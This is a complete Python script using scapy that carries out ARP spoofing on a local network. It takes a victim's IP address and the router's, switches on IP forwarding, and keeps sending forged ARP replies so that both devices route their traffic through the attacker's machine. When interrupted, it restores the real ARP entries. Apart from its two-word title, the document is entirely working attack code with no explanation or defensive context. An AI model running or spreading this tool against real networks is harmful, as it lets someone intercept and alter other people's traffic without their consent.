Arp spoofing

#!/usr/bin/env python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import signal
import sys
import time
try:
    nonetinfo = False
    from netinfo import get_routes
except ImportError:
    print("Install netinfo for automatic gateway detection")
    nonetinfo = True
import threading

conf.iface = "wlan0"

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("victimIP", help="victim IP address")
    parser.add_argument("-r", "--routerIP", help="router IP address")
    return parser.parse_args()

def origMAC(ip):
    ans, unans = sr(ARP(pdst=ip), timeout=5, retry=3, verbose=0)
    for s, r in ans:
        return r[ARP].hwsrc

def poison(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC), verbose=0)
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC), verbose=0)

def restore(routerIP, victimIP, routerMAC, victimMAC):
    send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3, verbose=0)
    send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3, verbose=0)
    with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf:
        ipf.write("0\n")
    print("\n")
    sys.exit()

def main(args):
    victimIP = None
    routerIP = None
    if not args.routerIP and not nonetinfo:
        for route in get_routes():
            routerIP = route['gateway']
            break
    else:
        routerIP = args.routerIP
    victimIP = args.victimIP

    if not victimIP:
        sys.exit("Missing victim IP.")
    if not routerIP:
        sys.exit("Missing router IP.")

    routerMAC = origMAC(routerIP)
    victimMAC = origMAC(victimIP)

    if routerMAC == None:
        sys.exit("Could not find router MAC")
    if victimMAC == None:
        sys.exit("Could not find victim MAC")

    print("Victim IP is:  "+victimIP)
    print("Router IP is:  "+routerIP)
    print("Victim MAC is: "+victimMAC)
    print("Router MAC is: "+routerMAC)

    with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf:
        ipf.write("1\n")

    while True:
        try:
            poison(routerIP, victimIP, routerMAC, victimMAC)
            time.sleep(1.5)
        except KeyboardInterrupt:
            restore(routerIP, victimIP, routerMAC, victimMAC)

if __name__ == "__main__":
    main(parse_args())